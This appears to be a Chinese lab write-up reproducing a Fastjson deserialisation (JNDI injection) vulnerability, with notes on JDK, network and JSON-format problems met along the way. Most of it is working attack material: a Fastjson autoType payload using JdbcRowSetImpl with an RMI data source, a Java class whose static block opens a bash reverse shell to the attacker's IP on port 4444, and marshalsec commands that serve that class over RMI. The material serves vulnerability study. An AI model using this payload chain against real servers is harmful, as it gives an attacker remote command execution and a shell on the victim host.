一、启动环境
虚拟机:kali靶机:192.168.125.130/172.19.0.1(docker地址:172.19.0.2)
虚拟机:kali攻击机:192.168.125.130/172.19.0.1
本地MAC:172.XX.XX.XX
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://dnslog.cn/zcc",
"autoCommit":true
}
}
二、漏洞利用
利用jndiexploit 1 . 4工具进行漏洞复现
开启监听
问题1:
执行命令就断开
可能是工具的有问题,/tomcatbypass/ReverseShell反弹的shell会断,用编译的class执行反弹是ok的。上次用/tomcatbypass/ReverseShell反弹后/bin/sh大概是因为那边儿环境配置可以这样,具体要分析的话也要进他们容器看配置。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c","bash -i >& /dev/tcp/192.168.125.130/4444 0>&1 &"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译TouchFile.java生成TouchFile.class
VPS开启python的web服务
#利用python搭建web服务
python -m SimpleHttpServer 1111
python3 -m http.server
VPS开启RMI服务
#进入mashalsec目录
cd /home/xxx/xxx
#利用mashalsec开启RMI服务监听9999端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://你的vpsIP即kaliIP/#TouchFile" 6666
POC发送
BP抓包改GET为POST,插入Content-Type: application/json后发送POC
到这一步出现问题无法成功
问题2:
jdk版本问题 安装jdk1.8.0试试
update-alternatives --config java10:51
mkdir -p /usr/local/java
cp jdk-8u401-linux-x64.tar.gz /usr/local/java
tar -zxvf jdk-8u401-linux-x64.tar.gz
update-alternatives --install /usr/bin/java java /java目录/bin/java 300
update-alternatives --set java /java目录/bin/java
update-alternatives --install /usr/bin/javac javac /java目录/bin/javac 300
update-alternatives --set javac /java目录/bin/javac
问题3
网络问题
因为本地是无法直接访问docker环境里边的ip所以把地址换成kali另外一张网卡172.19.网段的地址进行防包测试
问题4
发现json数据格式问题少了一个,号和空格
三、漏洞复现
重新发包,复现成功